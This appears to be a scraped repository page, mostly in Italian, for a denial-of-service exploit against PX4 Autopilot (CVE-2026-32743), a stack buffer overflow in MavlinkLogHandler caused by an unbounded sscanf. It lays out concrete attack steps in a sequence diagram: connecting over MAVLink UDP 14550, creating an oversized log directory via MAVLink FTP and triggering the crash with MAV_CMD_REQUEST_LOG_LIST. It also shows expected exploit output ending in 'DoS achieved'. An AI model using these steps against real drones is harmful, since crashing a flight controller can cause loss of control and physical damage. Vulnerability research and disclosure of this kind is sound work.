mbanyamer/cve-2026-32743-px4-autopilot-mavlinkloghandler-stack-buffer-overflow-dos-Uno sfruttamento remoto di Denial of Service (DoS) per PX4 Autopilot versioni ≤1.17.0-rc2 tramite un overflow del buffer basato su stack nel MavlinkLogHandler.
-orange){kind=icon}

CVE-2026-32743 è un overflow del buffer basato sullo stack nel MavlinkLogHandler delle versioni ≤1.17.0-rc2 del PX4 Autopilot.
Il buffer LogEntry.filepath è di soli 60 byte, ma sscanf() analizza i percorsi delle directory di log senza uno specificatore di larghezza.
Un attaccante con accesso al collegamento MAVLink può:
/fs/microsd/log/.MAV_CMD_REQUEST_LOG_LIST.MavlinkLogHandler copia il percorso lungo nel buffer da 60 byte → overflow dello stack.Corretto in: commit 616b25a (aggiunto specificatore di larghezza a sscanf).

participant Attacker
participant PX4 as PX4 Flight Controller
participant SD as SD Card (/fs/microsd/log/)
Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
PX4-->>Attacker: Heartbeat (system/component IDs)
Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
PX4->>SD: Create directory (named 70×'A')
SD-->>PX4: OK
Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
PX4->>PX4: MavlinkLogHandler::list() reads log directory
PX4->>PX4: sscanf(path, "%s", LogEntry.filepath) ← NO width limit!
Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable

Output previsto (DoS riuscito):
[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)

[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
